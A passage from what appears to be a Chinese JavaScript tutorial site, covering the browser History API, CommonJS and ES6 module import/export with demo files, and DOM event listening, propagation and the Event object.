* `History.length`：当前窗口访问过的网址数量（包括当前网页）
* `History.state`：History 堆栈最上层的状态值

```js
// 当前窗口访问过多少个网页
window.history.length // 1

// History 对象的当前状态
// 通常是 undefined，即未设置
window.history.state // undefined
```

### 方法

#### History.back()

`History.back()`：移动到上一个网址，等同于点击浏览器的后退键。对于第一个访问的网址，该方法无效果。

#### History.forward()

`History.forward()`：移动到下一个网址，等同于点击浏览器的前进键。对于最后一个访问的网址，该方法无效果。

#### History.go()

`History.go()`：接受一个整数作为参数，以当前网址为基准，移动到参数指定的网址，比如`go(1)`相当于`forward()`，`go(-1)`相当于`back()`。如果参数超过实际存在的网址范围，该方法无效果；**如果不指定参数，默认参数为`0`，相当于刷新当前页面。**

注意，移动到以前访问过的页面时，**页面通常是从浏览器缓存之中加载，而不是重新要求服务器发送新的网页。**

#### History.pushState()

`History.pushState()`方法用于在历史中添加一条记录。

```js
window.history.pushState(state, title, url)
```

该方法接受三个参数，依次为：

* `state`：一个与添加的记录相关联的状态对象，主要用于`popstate`事件。该事件触发时，该对象会传入回调函数。也就是说，浏览器会将这个对象序列化以后保留在本地，重新载入这个页面的时候，可以拿到这个对象。如果不需要这个对象，此处可以填`null`。
* `title`：新页面的标题。但是，现在所有浏览器都忽视这个参数，所以这里可以填空字符串。
* `url`：新的网址，必须与当前页面处在同一个域。浏览器的地址栏将显示这个网址。

假定当前网址是`example.com/1.html`，使用`pushState()`方法在浏览记录（History 对象）中添加一个新记录。

```js
var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');
```

添加新记录后，浏览器地址栏立刻显示`example.com/2.html`，但并不会跳转到`2.html`，甚至也不会检查`2.html`是否存在，它只是成为浏览历史中的最新记录。这时，在地址栏输入一个新的地址(比如访问`google.com`)，然后点击了倒退按钮，页面的 URL 将显示`2.html`；你再点击一次倒退按钮，URL 将显示`1.html`。

总之，`pushState()`方法不会触发页面刷新，只是导致 History 对象发生变化，地址栏会有反应。

使用该方法之后，就可以用`History.state`属性读出状态对象。

```js
var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');
history.state // {foo: "bar"}
```

如果`pushState`的 URL 参数设置了一个新的锚点值（即`hash`），并不会触发`hashchange`事件。反过来，如果 URL 的锚点值变了，则会在 History 对象创建一条浏览记录。

如果`pushState()`方法设置了一个跨域网址，则会报错。

#### History.replaceState()

`History.replaceState()`方法用来修改 History 对象的当前记录，其他都与`pushState()`方法一模一样。

假定当前网页是`example.com/example.html`。

```js
history.pushState({page: 1}, 'title 1', '?page=1')
// URL 显示为 http://example.com/example.html?page=1

history.pushState({page: 2}, 'title 2', '?page=2');
// URL 显示为 http://example.com/example.html?page=2

history.replaceState({page: 3}, 'title 3', '?page=3');
// URL 显示为 http://example.com/example.html?page=3

history.back()
// URL 显示为 http://example.com/example.html?page=1

history.back()
// URL 显示为 http://example.com/example.html

history.go(2)
// URL 显示为 http://example.com/example.html?page=3
```

### popstate 事件

每当同一个文档的浏览历史（即`history`对象）出现变化时，就会触发`popstate`事件。

注意，仅仅调用`pushState()`方法或`replaceState()`方法 ，并不会触发该事件，只有用户点击浏览器倒退按钮和前进按钮，或者使用 JavaScript 调用`History.back()`、`History.forward()`、`History.go()`方法时才会触发。

另外，该事件只针对同一个文档，如果浏览历史的切换，导致加载不同的文档，该事件也不会触发。

```js
window.onpopstate = function (event) {
  console.log('location: ' + document.location);
  console.log('state: ' + JSON.stringify(event.state));
};

// 或者
window.addEventListener('popstate', function(event) {
  console.log('location: ' + document.location);
  console.log('state: ' + JSON.stringify(event.state));
});
```

回调函数的参数是一个`event`事件对象，它的`state`属性指向`pushState`和`replaceState`方法为当前 URL 所提供的状态对象（即这两个方法的第一个参数）。

这个`state`对象也可以直接通过`history`对象读取。

```js
var currentState = history.state;
```

注意，页面第一次加载的时候，浏览器不会触发`popstate`事件。

URL 是互联网的基础设施之一。浏览器提供了一些原生对象，用来管理 URL。

---

---
url: /js/dyejukno/index.md
---
# 快速上手模块化开发，CJS和ESM
**模块化规范**

**模块化的定义：**

将程序文件依据规则拆分成多个文件，这种编码方式就是模块化

拆分出来**每个文件就是一个模块**，模块中的数据都是**私有的**，模块之间互相**隔离**。

同时也能通过一些手段，可以把模块内的指定数据**交出去**，供其他模块使用。

**模块化的作用：**

应用的复杂度越来越高，代码量和文件数量都会急剧增加，可能会引发以下问题

* 全局污染问题
* 依赖混乱问题
* 数据安全问题

针对 JavaScript 的不同运行环境相继出现了多种模块化规范，按时间排序，分别为：

1. **CommonJS —— 服务端应用广泛**
2. **AMD**
3. **CMD**
4. **ES6 模块化 —— 浏览器端应用广泛**

## 导入与导出的概念

模块化的核心思想就是：模块之间是**隔离的**，通过**导入**和**导出**进行数据和功能的共享。

* \*\*导出（暴露）：\*\*模块公开其内部的一部分（如变量、函数等），使这些内容可以被其他模块使用。
* \*\*导入（引入）：\*\*模块引入和使用其他模块导出的内容，以重用代码和功能。

![](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/20250408/image.b931phlq9.webp)

## **CommonJS 规范**

### 导出数据

在 CommonJS 标准中，导出数据有**两种方式**：

* 第一种方式：`module.exports = value`
* 第二种方式：`exports.name = value`

### demo

创建school.js

```js
const name = '尚硅谷'
const slogan = '让天下没有难学的技术！'

function getTel (){
  return '010-56253825'
}

function getCities(){
  return ['北京','上海','深圳','成都','武汉','西安']
}

// 通过给exports对象添加属性的方式，来导出数据（注意：此处没有导出getCities）
exports.name = name
exports.slogan = slogan
exports.getTel = getTel
```

创建student.js

```js
const name = '张三'
const motto = '相信明天会更好！'

function getTel (){
  return '13877889900'
}

function getHobby(){
  return ['抽烟','喝酒','烫头']
}

// 通过给exports对象添加属性的方式，来导出数据（注意：此处没有导出getHobby）
exports.name = name
exports.slogan = slogan
exports.getTel = getTel
```

创建index.js

```js
// 引入school模块暴露的所有内容
const school = require('./school')

// 引入student模块暴露的所有内容
const student = require('./student')
```

注意点：

> \[!CAUTION]
>
> 每个模块内部的：`this`、`exports`、`modules.exports`在初始时，都指向\*\*同一个\*\*空对象，该空对象就是当前模块导出的数据，如下图：
>
> ![image](https://jsd.cdn.zzko.cn/gh/fish81/picx-images-hosting@master/20250408/image.92qbeikcca.webp)
>
> 无论如何修改导出对象，最终导出的都是`module.exports`的值。
>
> `exports`是对`module.exports`的初始引用，仅为了方便给导出象添加属性，所以不能使用   `exports = value`的形式导出数据，但是可以使用`module.exports = xxxx`导出数据。

### 导入数据

在`CJS`模块化标准中，使用内置的`require`函数进行导入数据

```js
// 直接引入模块
const school = require('./school')

// 引入同时解构出要用的数据
const { name, slogan, getTel } = require('./school')

// 引入同时解构+重命名
const {name:stuName,motto,getTel:stuTel} = require('./student')
```

### 扩展理解

一个 JS 模块在执行时，是被包裹在一个\*\*内置函数\*\*中执行的，所以每个模块都有自己的作用域，我们可以通过如下方式验证这一说法：

```js
console.log(arguments)
console.log(arguments.callee.toString())
```

内置函数的大致形式如下：

```js
function (exports, require, module, __filename, __dirname){
  /*********************/
}
```

### 浏览器端运行

Node.js 默认是支持 CommonJS 规范的，但浏览器端不支持，所以需要经过编译，步骤如下：

* **第一步**：全局安装 browserify ：`npm i browserify -g`
* **第二步**：编译

```bash
browserify index.js -o build.js
```

> \[!NOTE]
>
> 备注：`index.js` 是源文件，`build.js` 是输出的目标文件

* **第三步**：页面中引入使用

```js
<script type="text/javascript" src="./build.js"></script>
```

## ES6 模块化规范

ES6 模块化规范是一个官方标准**的规范，它是在语言标准的层面上实现了模块化功能，是目前**最流行的模块化规范，且浏览器与服务端均支持该规范。

### demo

**创建** **school.js**

```js
// 导出name
export let name = {str:'尚硅谷'}
// 导出slogan
export const slogan = '让天下没有难学的技术！'

// 导出name
export function getTel (){
  return '010-56253825'
}

function getCities(){
  return ['北京','上海','深圳','成都','武汉','西安']
}
```

**创建** **student.js**

```js
// 导出name
export const name = '张三'
// 导出motto
export const motto = '相信明天会更好！'

// 导出getTel
export function getTel (){
  return '13877889900'
}

function getHobby(){
  return ['抽烟','喝酒','烫头']
}
```

**创建** **index.js**

```js
// 引入school模块暴露的所有内容
import * as school from './school.js'

// 引入student模块暴露的所有内容
import * as student from './student.js'
```

**页面中引入** **index.js**

```js
<script type="module" src="./index.js"></script>
```

### Node 中运行 ES6 模块

`Node.js`中运行`ES6`模块代码有两种方式：

* **方式一**：将`JavaScript`文件后缀从`.js` 改为`.mjs`，Node 则会自动识别 ES6 模块。
* **方式二**：在`package.json`中设置`type`属性值为`module`。

### 导出数据

ES6 模块化提供 3 种导出方式：

* 分别导出
* 同一导出
* 默认导出

#### **分别导出**

备注：在上方【demo】环节，我们使用的导出方式就是【分别导出】

```js
// 导出name
export let name = {str:'尚硅谷'}
// 导出slogan
export const slogan = '让天下没有难学的技术！'

// 导出getTel
export function getTel (){
  return '010-56253825'
}
```

#### **统一导出**

```js
const name = {str:'尚硅谷'}
const slogan = '让天下没有难学的技术！'

function getTel (){
  return '010-56253825'
}

function getCities(){
  return ['北京','上海','深圳','成都','武汉','西安']
}

// 统一导出了：name,slogan,getTel
export {name,slogan,getTel}
```

#### **默认导出**

```js
const name = '张三'
const motto = '走自己的路，让别人五路可走！'

function getTel (){
  return '13877889900'
}

function getHobby(){
  return ['抽烟','喝酒','烫头']
}

//默认导出：name,motto,getTel
export default {name,motto,getTel}
```

**备注 :「上述多种导出方式，可以同时使用」**

```js
// 导出name ———— 分别导出
export const name = {str:'尚硅谷'}
const slogan = '让天下没有难学的技术！'

function getTel (){
  return '010-56253825'
}

function getCities(){
  return ['北京','上海','深圳','成都','武汉','西安']
}

// 导出slogan ———— 统一导出
export {slogan}
// 导出getTel ———— 默认导出
export default getTel

```

### 导入数据

对于 ES6 模块化来说，使用何种导入方式，要根据导出方式决定。

#### **导入全部**

**通用**方法

可以将模块中的所有导出内容整合到一个对象中。

```js
import * as school from './school.js'
```

#### **命名导入**

**对应导出方式：分别导出、统一导出**

导出数据的模块

```js
//分别导出
export const name = {str:'尚硅谷'} 
//分别导出
export const slogan = '让天下没有难学的技术！' 

function getTel (){
  return '010-56253825'
}

function getCities(){
  return ['北京','上海','深圳','成都','武汉','西安']
}

//统一导出
export { getTel }
```

命名导入：

```js
import { name,slogan,getTel } from './school.js'
```

通过`as`重命名:

```javascript
import { name as myName,slogan,getTel } from './school.js'
```

#### **默认导入**

**对应导出方式：默认导出**

导出数据的模块

```js
const name = '张三'
const motto = '走自己的路，让别人五路可走！'

function getTel (){
  return '13877889900'
}

function getHobby(){
  return ['抽烟','喝酒','烫头']
}

//使用默认导出的方式，导出一个对象，对象中包含着数据
export default { name,motto,getTel }
```

默认导入:

```js
import student from './student.js' //默认导出的名字可以修改，不是必须为student
```

#### 混合使用

**命名导入** **与** **默认导入**可以混合使用

导出数据的模块

```js
//分别导出
export const name = {str:'尚硅谷'} 
//分别导出
export const slogan = '让天下没有难学的技术！'

function getTel (){
  return '010-56253825'
}

function getCities(){
  return ['北京','上海','深圳','成都','武汉','西安']
}

//统一导出
export default getTel 
```

> \[!IMPORTANT]
>
> 「命名导入」与「默认导入」混合使用，且默认导入的内容必须放在前方：

```js
import getTel,{name,slogan} from './school.js'
```

#### **动态导入**

**通用**

允许在运行时按需加载模块，返回值是一个 Promise。

```js
const school = await import('./school.js');
console.log(school)
```

#### 运行导入

**import 可以不接收任何数据**

例如只是让 mock.js 参与运行

```js
import './mock.js'
```

> \[!NOTE]
>
> 此时，我们感受到模块化确实解决了：
>
> * 全局污染问题
> * 依赖混乱问题
> * 数据安全问题

> 来自尚硅谷-[随课笔记](https://www.yuque.com/tianyu-coder/openshare/hycdb5tispao428h)

### 数据引用问题

以下代码的输出结果？

```js
function count (){
  let sum = 1
  function increment(){
    sum += 1
  }
  return {sum,increment}
}

const {sum,increment} = count()

console.log(sum)
increment() 
increment()
console.log(sum)
```

使用 CommonJS 规范，编写如下代码，输出结果?

```js
let sum = 1

function increment (){
  sum += 1
}

module.exports = {sum,increment}
```

```js
const {sum,increment} = require('./count.js')

console.log(sum)
increment()
increment()
console.log(sum)
```

使用 ES6 模块化规范，编写如下代码，输出结果?

```js
let sum = 1

function increment(){
  sum += 1
}

export {sum,increment}

```

```js
import {sum,increment} from './count.js'

console.log(sum) //1
increment()
increment()
console.log(sum) //3
```

> \[!TIP]
>
> 使用原则：导出的常量，务必用`const`定义

## AMD

...

## CMD

...

---

---
url: /js/e2251035/index.md
---
# 事件 上
### EventTarget 接口

事件的本质是程序各个组成部分之间的一种通信方式，也是异步编程的一种实现。

DOM 支持大量的事件，本章开始介绍 DOM 的事件编程。

介绍具体的事件之前，先来看看如何让 DOM 节点监听事件。

#### 概述

DOM 节点的事件操作（监听和触发），都定义在`EventTarget`接口。所有节点对象都部署了这个接口，其他一些需要事件通信的浏览器内置对象（比如，`XMLHttpRequest`、`AudioNode`、`AudioContext`）也部署了这个接口。

#### EventTarget.addEventListener()

`EventTarget.addEventListener()`用于在当前节点或对象上（即部署了 EventTarget 接口的对象），定义一个特定事件的监听函数。

一旦这个事件发生，就会执行监听函数。该方法没有返回值。

```js
target.addEventListener(type, listener[, useCapture]);
```

该方法接受三个参数。

* `type`：事件名称，大小写敏感。
* `listener`：监听函数。事件发生时，会调用该监听函数。
* `useCapture`：布尔值，如果设为`true`，表示监听函数将在捕获阶段（capture）触发。该参数可选，默认值为`false`（监听函数只在冒泡阶段被触发）。

```js
function hello() {
  console.log('Hello world');
}

var button = document.getElementById('btn');
button.addEventListener('click', hello, false);
```

上面代码中，`button`节点的`addEventListener()`方法绑定`click`事件的监听函数`hello()`，该函数只在冒泡阶段触发。

关于参数，有两个地方需要注意。

首先，第二个参数除了监听函数，还可以是一个具有`handleEvent`方法的对象，效果与监听函数一样。

```js
buttonElement.addEventListener('click', {
  handleEvent: function (event) {
    console.log('click');
  }
});
```

第三个参数除了布尔值`useCapture`，还可以是一个监听器配置对象，定制事件监听行为。该对象有以下属性。

* `capture`：布尔值，如果设为`true`，表示监听函数在捕获阶段触发，默认为`false`，在冒泡阶段触发。
* `once`：布尔值，如果设为`true`，表示监听函数执行一次就会自动移除，后面将不再监听该事件。该属性默认值为`false`。
* `passive`：布尔值，设为`true`时，表示禁止监听函数调用`preventDefault()`方法。如果调用了，浏览器将忽略这个要求，并在控制台输出一条警告。该属性默认值为`false`。
* `signal`：该属性的值为一个 AbortSignal 对象，为监听器设置了一个信号通道，用来在需要时发出信号，移除监听函数。

`addEventListener()`方法可以为针对当前对象的同一个事件，添加多个不同的监听函数。这些函数按照添加顺序触发，即先添加先触发。如果为同一个事件多次添加同一个监听函数，该函数只会执行一次，多余的添加将自动被去除（不必使用`removeEventListener()`方法手动去除）。

如果希望向监听函数传递参数，可以用匿名函数包装一下监听函数。

```js
function print(x) {
  console.log(x);
}

var el = document.getElementById('div1');
el.addEventListener('click', function () { print('Hello'); }, false);
```

上面代码通过匿名函数，向监听函数`print`传递了一个参数。

监听函数内部的`this`，指向当前事件所在的那个对象。

```js
// HTML 代码如下
// <p id="para">Hello</p>
var para = document.getElementById('para');
para.addEventListener('click', function (e) {
  console.log(this.nodeName); // "P"
}, false);
```

#### EventTarget.removeEventListener()

`EventTarget.removeEventListener()`方法用来移除`addEventListener()`方法添加的事件监听函数。该方法没有返回值。

`removeEventListener()`方法的参数，与`addEventListener()`方法完全一致。它的第一个参数“事件类型”，大小写敏感。

注意，**`removeEventListener()`方法移除的监听函数，必须是`addEventListener()`方法添加的那个监听函数，而且必须在同一个元素节点，否则无效。**

```js
div.addEventListener('click', function (e) {}, false);
div.removeEventListener('click', function (e) {}, false);
```

上面代码中，`removeEventListener()`方法无效，因为监听函数不是同一个匿名函数。

```js
element.addEventListener('mousedown', handleMouseDown, true);
element.removeEventListener("mousedown", handleMouseDown, false);
```

上面代码中，`removeEventListener()`方法也是无效的，因为第三个参数不一样。

#### EventTarget.dispatchEvent()

`EventTarget.dispatchEvent()`方法在当前节点上触发指定事件，从而触发监听函数的执行。该方法返回一个布尔值，只要有一个监听函数调用了`Event.preventDefault()`，则返回值为`false`，否则为`true`。

```js
target.dispatchEvent(event)
```

`dispatchEvent()`方法的参数是一个`Event`对象的实例。

```js
para.addEventListener('click', hello, false);
var event = new Event('click');
para.dispatchEvent(event);
```

上面代码在当前节点触发了`click`事件。

如果`dispatchEvent()`方法的参数为空，或者不是一个有效的事件对象，将报错。

下面代码根据`dispatchEvent()`方法的返回值，判断事件是否被取消了。

```js
var canceled = !cb.dispatchEvent(event);
if (canceled) {
  console.log('事件取消');
} else {
  console.log('事件未取消');
}
```

### 事件模型

#### 监听函数

浏览器的事件模型，就是通过监听函数（listener）对事件做出反应。事件发生后，浏览器监听到了这个事件，就会执行对应的监听函数。这是事件驱动编程模式（event-driven）的主要编程方式。

JavaScript 有三种方法，可以为事件绑定监听函数。

##### HTML 的 on- 属性

HTML 语言允许在元素的属性中，直接定义某些事件的监听代码。

```js
<body onload="doSomething()">
<div onclick="console.log('触发事件')">
```

上面代码为`body`节点的`load`事件、`div`节点的`click`事件，指定了监听代码。一旦事件发生，就会执行这段代码。

元素的事件监听属性，都是`on`加上事件名，比如`onload`就是`on + load`，表示`load`事件的监听代码。

注意，这些属性的值是将会执行的代码，而不是一个函数。

```js
<!-- 正确 -->
<body onload="doSomething()">

<!-- 错误 -->
<body onload="doSomething">
```

一旦指定的事件发生，`on-`属性的值是原样传入 JavaScript 引擎执行。因此如果要执行函数，不要忘记加上一对圆括号。

使用这个方法指定的监听代码，只会在冒泡阶段触发。

```html
<div onclick="console.log(2)">
  <button onclick="console.log(1)">点击</button>
</div>
```

上面代码中，`<button>`是`<div>`的子元素。`<button>`的`click`事件，也会触发`<div>`的`click`事件。

由于`on-`属性的监听代码，只在冒泡阶段触发，所以点击结果是先输出`1`，再输出`2`，即事件从子元素开始冒泡到父元素。

直接设置`on-`属性，与通过元素节点的`setAttribute`方法设置`on-`属性，效果是一样的。

```js
el.setAttribute('onclick', 'doSomething()');
// 等同于
// <Element onclick="doSomething()">
```

##### 元素节点的事件属性

元素节点对象的事件属性，同样可以指定监听函数。

```js
window.onload = doSomething;

div.onclick = function (event) {
  console.log('触发事件');
};
```

使用这个方法指定的监听函数，也是只会在冒泡阶段触发。

注意，这种方法与 HTML 的`on-`属性的差异是，它的值是函数名（`doSomething`），而不像后者，必须给出完整的监听代码（`doSomething()`）。

##### EventTarget.addEventListener()

所有 DOM 节点实例都有`addEventListener`方法，用来为该节点定义事件的监听函数。

```js
window.addEventListener('load', doSomething, false);
```

##### 小结

上面三种方法，第一种“HTML 的 on- 属性”，违反了 HTML 与 JavaScript 代码相分离的原则，将两者写在一起，不利于代码分工，因此不推荐使用。

第二种“元素节点的事件属性”的缺点在于，同一个事件只能定义一个监听函数，也就是说，如果定义两次`onclick`属性，后一次定义会覆盖前一次。因此，也不推荐使用。

第三种`EventTarget.addEventListener`是推荐的指定监听函数的方法。它有如下优点：

* 同一个事件可以添加多个监听函数。
* 能够指定在哪个阶段（捕获阶段还是冒泡阶段）触发监听函数。
* 除了 DOM 节点，其他对象（比如`window`、`XMLHttpRequest`等）也有这个接口，它等于是整个 JavaScript 统一的监听函数接口。

#### this 的指向

监听函数内部的`this`指向触发事件的那个元素节点。

```js
<button id="btn" onclick="console.log(this.id)">点击</button>
```

执行上面代码，点击后会输出`btn`。

其他两种监听函数的写法，`this`的指向也是如此。

#### 事件的传播

一个事件发生后，会在子元素和父元素之间传播（propagation）。这种传播分成三个阶段。

* **第一阶段**：从`window`对象传导到目标节点（上层传到底层），称为“捕获阶段”（capture phase）。
* **第二阶段**：在目标节点上触发，称为“目标阶段”（target phase）。
* **第三阶段**：从目标节点传导回`window`对象（从底层传回上层），称为“冒泡阶段”（bubbling phase）。

这种三阶段的传播模型，使得同一个事件会在多个节点上触发。

```html
<div>
  <p>点击</p>
</div>
```

上面代码中，`<div>`节点之中有一个`<p>`节点。

如果对这两个节点，都设置`click`事件的监听函数（每个节点的捕获阶段和冒泡阶段，各设置一个监听函数），共计设置四个监听函数。然后，对`<p>`点击，`click`事件会触发四次。

```js
var phases = {
  1: 'capture',
  2: 'target',
  3: 'bubble'
};

var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', callback, true);
p.addEventListener('click', callback, true);
div.addEventListener('click', callback, false);
p.addEventListener('click', callback, false);

function callback(event) {
  var tag = event.currentTarget.tagName;
  var phase = phases[event.eventPhase];
  console.log("Tag: '" + tag + "'. EventPhase: '" + phase + "'");
}

// 点击以后的结果
// Tag: 'DIV'. EventPhase: 'capture'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'DIV'. EventPhase: 'bubble'
```

上面代码表示，`click`事件被触发了四次：`<div>`节点的捕获阶段和冒泡阶段各1次，`<p>`节点的目标阶段触发了2次。

1. 捕获阶段：事件从`<div>`向`<p>`传播时，触发`<div>`的`click`事件；
2. 目标阶段：事件从`<div>`到达`<p>`时，触发`<p>`的`click`事件；
3. 冒泡阶段：事件从`<p>`传回`<div>`时，再次触发`<div>`的`click`事件。

其中，`<p>`节点有两个监听函数（`addEventListener`方法第三个参数的不同，会导致绑定两个监听函数），因此它们都会因为`click`事件触发一次。所以，`<p>`会在`target`阶段有两次输出。

注意，浏览器总是假定`click`事件的目标节点，就是点击位置嵌套最深的那个节点（本例是`<div>`节点里面的`<p>`节点）。所以，`<p>`节点的捕获阶段和冒泡阶段，都会显示为`target`阶段。

事件传播的最上层对象是`window`，接着依次是`document`，`html`（`document.documentElement`）和`body`（`document.body`）。也就是说，上例的事件传播顺序，在捕获阶段依次为`window`、`document`、`html`、`body`、`div`、`p`，在冒泡阶段依次为`p`、`div`、`body`、`html`、`document`、`window`。

#### 事件的代理

由于事件会在冒泡阶段向上传播到父节点，因此可以把子节点的监听函数定义在父节点上，由父节点的监听函数统一处理多个子元素的事件。这种方法叫做事件的代理（delegation）。

```js
var ul = document.querySelector('ul');

ul.addEventListener('click', function (event) {
  if (event.target.tagName.toLowerCase() === 'li') {
    // some code
  }
});
```

上面代码中，`click`事件的监听函数定义在`<ul>`节点，但是实际上，它处理的是子节点`<li>`的`click`事件。

这样做的好处是，只要定义一个监听函数，就能处理多个子节点的事件，而不用在每个`<li>`节点上定义监听函数。而且以后再添加子节点，监听函数依然有效。

如果希望事件到某个节点为止，不再传播，可以使用事件对象的`stopPropagation`方法。

```js
// 事件传播到 p 元素后，就不再向下传播了
p.addEventListener('click', function (event) {
  event.stopPropagation();
}, true);

// 事件冒泡到 p 元素后，就不再向上冒泡了
p.addEventListener('click', function (event) {
  event.stopPropagation();
}, false);
```

上面代码中，`stopPropagation`方法分别在捕获阶段和冒泡阶段，阻止了事件的传播。

但是，`stopPropagation`方法只会阻止事件的传播，不会阻止该事件触发`<p>`节点的其他`click`事件的监听函数。也就是说，不是彻底取消`click`事件。

```js
p.addEventListener('click', function (event) {
  event.stopPropagation();
  console.log(1);
});

p.addEventListener('click', function(event) {
  // 会触发
  console.log(2);
});
```

上面代码中，`p`元素绑定了两个`click`事件的监听函数。`stopPropagation`方法只能阻止这个事件的传播，不能取消这个事件，因此，第二个监听函数会触发。输出结果会先是1，然后是2。

如果想要彻底取消该事件，不再触发后面所有`click`的监听函数，可以使用`stopImmediatePropagation`方法。

```js
p.addEventListener('click', function (event) {
  event.stopImmediatePropagation();
  console.log(1);
});

p.addEventListener('click', function(event) {
  // 不会被触发
  console.log(2);
});
```

上面代码中，`stopImmediatePropagation`方法可以彻底取消这个事件，使得后面绑定的所有`click`监听函数都不再触发。所以，只会输出1，不会输出2。

### Event 对象

#### 概述

事件发生以后，会产生一个事件对象，作为参数传给监听函数。

浏览器原生提供一个`Event`对象，所有的事件都是这个对象的实例，或者说继承了`Event.prototype`对象。

`Event`对象本身就是一个构造函数，可以用来生成新的实例。

```js
event = new Event(type, options);
```

`Event`构造函数接受两个参数。第一个参数`type`是字符串，表示事件的名称；第二个参数`options`是一个对象，表示事件对象的配置。该对象主要有下面两个属性。

* `bubbles`：布尔值，可选，默认为`false`，表示事件对象是否冒泡。
* `cancelable`：布尔值，可选，默认为`false`，表示事件是否可以被取消，即能否用`Event.preventDefault()`取消这个事件。一旦事件被取消，就好像从来没有发生过，不会触发浏览器对该事件的默认行为。

```js
var ev = new Event(
  'look',
  {
    'bubbles': true,
    'cancelable': false
  }
);
document.dispatchEvent(ev);
```

上面代码新建一个`look`事件实例，然后使用`dispatchEvent`方法触发该事件。

注意，如果不是显式指定`bubbles`属性为`true`，生成的事件就只能在“捕获阶段”触发监听函数。

```js
// HTML 代码为
// <div><p>Hello</p></div>
var div = document.querySelector('div');
var p = document.querySelector('p');

function callback(event) {
  var tag = event.currentTarget.tagName;
  console.log('Tag: ' + tag); // 没有任何输出
}

div.addEventListener('click', callback, false);

var click = new Event('click');
p.dispatchEvent(click);
```

上面代码中，`p`元素发出一个`click`事件，该事件默认不会冒泡。`div.addEventListener`方法指定在冒泡阶段监听，因此监听函数不会触发。如果写成`div.addEventListener('click', callback, true)`，那么在“捕获阶段”可以监听到这个事件。

#### 实例属性

##### Event.bubbles

`Event.bubbles`属性返回一个布尔值，表示当前事件是否会冒泡。该属性为只读属性，一般用来了解 Event 实例是否可以冒泡。前面说过，除非显式声明，`Event`构造函数生成的事件，默认是不冒泡的。

##### Event.eventPhase

`Event.eventPhase`属性返回一个整数常量，表示事件目前所处的阶段。该属性只读。

```js
var phase = event.eventPhase;
```

`Event.eventPhase`的返回值有四种可能。

* 0，事件目前没有发生。
* 1，事件目前处于捕获阶段，即处于从祖先节点向目标节点的传播过程中。
* 2，事件到达目标节点，即`Event.target`属性指向的那个节点。
* 3，事件处于冒泡阶段，即处于从目标节点向祖先节点的反向传播过程中。

##### Event.cancelable

`Event.cancelable`属性返回一个布尔值，表示事件是否可以取消。该属性为只读属性，一般用来了解 Event 实例的特性。

大多数浏览器的原生事件是可以取消的。比如，取消`click`事件，点击链接将无效。但是除非显式声明，`Event`构造函数生成的事件，默认是不可以取消的。

```js
var evt = new Event('foo');
evt.cancelable  // false
```

当`Event.cancelable`属性为`true`时，调用`Event.preventDefault()`就可以取消这个事件，阻止浏览器对该事件的默认行为。

如果事件不能取消，调用`Event.preventDefault()`会没有任何效果。所以使用这个方法之前，最好用`Event.cancelable`属性判断一下是否可以取消。

##### Event.cancelBubble

`Event.cancelBubble`属性是一个布尔值，如果设为`true`，相当于执行`Event.stopPropagation()`，可以阻止事件的传播。

##### event.defaultPrevented

`Event.defaultPrevented`属性返回一个布尔值，表示该事件是否调用过`Event.preventDefault`方法。该属性只读。

```js
if (event.defaultPrevented) {
  console.log('该事件已经取消了');
}
```

##### Event.currentTarget

##### Event.target

事件发生以后，会经过捕获和冒泡两个阶段，依次通过多个 DOM 节点。因此，任意事件都有两个与事件相关的节点，一个是事件的原始触发节点（`Event.target`），另一个是事件当前正在通过的节点（`Event.currentTarget`）。前者通常是后者的后代节点。

`Event.currentTarget`属性返回事件当前所在的节点，即事件当前正在通过的节点，也就是当前正在执行的监听函数所在的那个节点。随着事件的传播，这个属性的值会变。

`Event.target`属性返回原始触发事件的那个节点，即事件最初发生的节点。这个属性不会随着事件的传播而改变。

事件传播过程中，不同节点的监听函数内部的`Event.target`与`Event.currentTarget`属性的值是不一样的。

```js
// HTML 代码为
// <p id="para">Hello <em>World</em></p>
function hide(e) {
  // 不管点击 Hello 或 World，总是返回 true
  console.log(this === e.currentTarget);

  // 点击 Hello，返回 true
  // 点击 World，返回 false
  console.log(this === e.target);
}

document.getElementById('para').addEventListener('click', hide, false);
```

`e.target`总是指向原始点击位置的那个节点。

##### Event.type

`Event.type`属性返回一个字符串，表示事件类型。事件的类型是在生成事件的时候指定的。该属性只读。

```js
var evt = new Event('foo');
evt.type // "foo"
```

##### Event.timeStamp

`Event.timeStamp`属性返回一个毫秒时间戳，表示事件发生的时间。它是相对于网页加载成功开始计算的。

```js
var evt = new Event('foo');
evt.timeStamp // 3683.6999999995896
```

##### Event.isTrusted

`Event.isTrusted`属性返回一个布尔值，表示该事件是否由真实的用户行为产生。比如，用户点击链接会产生一个`click`事件，该事件是用户产生的；`Event`构造函数生成的事件，则是脚本产生的。

```js
var evt = new Event('foo');
evt.isTrusted // false
```

##### Event.detail

`Event.detail`属性只有浏览器的 UI （用户界面）事件才具有。该属性返回一个数值，表示事件的某种信息。具体含义与事件类型相关。

比如，对于`click`和`dblclick`事件，`Event.detail`是鼠标按下的次数（`1`表示单击，`2`表示双击，`3`表示三击）；对于鼠标滚轮事件，`Event.detail`是滚轮正向滚动的距离，负值就是负向滚动的距离，返回值总是3的倍数。

#### 实例方法

##### Event.preventDefault()

`Event.preventDefault`方法取消浏览器对当前事件的默认行为。

比如点击链接后，浏览器默认会跳转到另一个页面，使用这个方法以后，就不会跳转了；

再比如，按一下空格键，页面向下滚动一段距离，使用这个方法以后也不会滚动了。

该方法生效的前提是，事件对象的`cancelable`属性为`true`，如果为`false`，调用该方法没有任何效果。

注意，该方法只是取消事件对当前元素的默认影响，**不会阻止事件的传播**。

如果要阻止传播，可以使用`stopPropagation()`或`stopImmediatePropagation()`方法。

##### Event.stopPropagation()

`stopPropagation`方法阻止事件在 DOM 中继续传播，防止再触发定义在别的节点上的监听函数，但是不包括在当前节点上其他的事件监听函数。

```js
function stopEvent(e) {
  e.stopPropagation();
}

el.addEventListener('click', stopEvent, false);
```

上面代码中，`click`事件将不会进一步冒泡到`el`节点的父节点。

##### Event.stopImmediatePropagation()

`Event.stopImmediatePropagation`方法阻止同一个事件的其他监听函数被调用，不管监听函数定义在当前节点还是其他节点。也就是说，该方法阻止事件的传播，比`Event.stopPropagation()`更彻底。

